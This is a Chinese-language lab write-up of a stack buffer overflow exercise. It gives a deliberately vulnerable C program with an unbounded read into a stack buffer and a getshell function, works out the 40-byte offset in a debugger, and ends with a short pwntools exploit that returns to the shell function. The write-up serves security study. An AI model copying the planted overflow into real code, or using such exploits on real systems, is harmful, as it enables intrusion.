一环境准备(64位)
目标代码:与i春秋上有一点点区别,不同处标黄。
#include <stdio.h>
int hello()
{
int buf;
int v2;
__int128 v3;
buf=0;
v2=0;
v3=0;
read(0,&buf,0x64u);
return printf("hello\n,%ls",&buf);
}
int getshell()
{
return system("/bin/sh");
}
int main(void)
{
hello();
return 0;
}
通过gcc 命令生成elf文件、
调试环境:IDA 远程调试,连接到ubuntu。即可在Windows下动态调试elf文件。上手后决的不是很好用。在ubuntu里安装了edb-debug。
二溢出位置计算
左图是对栈的初始化,右图是初始化后的栈帧。
对栈进行分析: ........70为buf开始地址,98为函数返回地址,000055b7:67e8f7c8是shell函数地址
98-70=28h
playload=40个字符+目标地址
三获取权限
在edb中对内存的修改不好用,转到ida中进行提权的修改。
首先根据在edb中动态调试的分析对hello return 值手工修改让其返回到getshell处
单步调试,分析程序流。跳转到getshell内部
在CALL _SYSTEM处报错,暂时还没解决。
(2)通过playload 返回shell
漏洞利用代码:
from pwn import *
p = process('./icq')
shell = 0x00000000000007B8
payload = 'A'*40 +p64(shell)
p.send(payload)
p.interactive()
返回shell